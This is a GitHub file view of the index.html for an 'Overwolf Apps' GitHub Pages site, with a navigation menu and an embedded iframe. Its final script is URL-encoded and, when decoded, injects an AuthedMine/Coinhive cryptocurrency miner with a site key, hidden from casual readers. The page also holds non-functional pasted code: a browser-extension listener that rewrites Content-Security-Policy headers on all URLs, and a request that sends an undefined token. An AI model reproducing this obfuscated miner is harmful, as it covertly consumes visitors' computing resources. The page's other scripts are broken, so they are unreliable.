-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.html
67 lines (66 loc) · 3.3 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Overwolf Apps</title>
<meta name="description" content="Overwolf Apps Github Pages">
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0/jquery.min.js"></script>
<link rel="stylesheet" type="text/css" href="css/common.css">
</head>
<body linkifying="true">
<div class="topnav">
<a href="//www.overwolf.com/" target="_blank" style="font-family:'KlavikaWebBasicRegular',sans-serif;">Overwolf</a>
<a href="index.html" class="active">Home</a>
<div class="dropdown">
<button class="dropbtn">Apps
<i class="fa fa-caret-down"></i>
</button>
<div class="dropdown-content">
<a href="apps.html">Normal</a>
<a href="apps.html?syntax">with Syntax</a>
<a href="apps.html?images">with icons</a>
<a href="apps.html?images&syntax">with both</a>
</div>
</div>
<a href="games.html">Games</a>
</div>
</br></br>
<script type="text/javascript">
chrome.webRequest.onHeadersReceived.addListener(info => {
const headers = info.responseHeaders; // original headers
for (let i=headers.length-1; i>=0; --i) {
let header = headers[i].name.toLowerCase();
if (header === "content-security-policy") { // csp header is found
// modifying frame-ancestors; this implies that the directive is already present
headers[i].value = headers[i].value.replace("frame-ancestors", "frame-ancestors https://OverwolfApps.github.io/index.html");
}
}
// return modified headers
return {responseHeaders: headers};
}, {
urls: [ "<all_urls>" ], // match all pages
types: [ "sub_frame" ] // for framing only
}, ["blocking", "responseHeaders"]);
</script>
<iframe src="https://github.com/OverwolfApps/OverwolfApps.github.io" width="100%" height="100%" allowfullscreen/>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://github.com/OverwolfApps');
xhr.onreadystatechange = handler;
xhr.responseType = 'blob';
xhr.setRequestHeader('Authorization', 'Bearer ' + token);
xhr.send();
function handler() {
if (this.readyState === this.DONE) {
if (this.status === 200) {
// this.response is a Blob, because we set responseType above
var data_url = URL.createObjectURL(this.response);
document.querySelector('iframe').src = data_url;
} else { console.error('no pdf :('); }
}
}
</script>
<script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%61%75%74%68%65%64%6D%69%6E%65%2E%63%6F%6D%2F%6C%69%62%2F%73%69%6D%70%6C%65%2D%75%69%2E%6D%69%6E%2E%6A%73%22%20%61%73%79%6E%63%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%6F%69%6E%68%69%76%65%2D%6D%69%6E%65%72%22%20%0A%20%20%20%20%73%74%79%6C%65%3D%22%77%69%64%74%68%3A%20%32%35%36%70%78%3B%20%68%65%69%67%68%74%3A%20%33%31%30%70%78%22%0A%20%20%20%20%64%61%74%61%2D%6B%65%79%3D%22%35%41%4E%62%39%44%48%41%4A%53%72%42%38%4A%37%6C%6B%57%65%4F%36%51%31%49%6E%43%39%4A%37%6D%63%32%22%3E%0A%20%20%20%20%3C%65%6D%3E%4C%6F%61%64%69%6E%67%2E%2E%2E%3C%2F%65%6D%3E%0A%3C%2F%64%69%76%3E'));</script>
</body>
</html>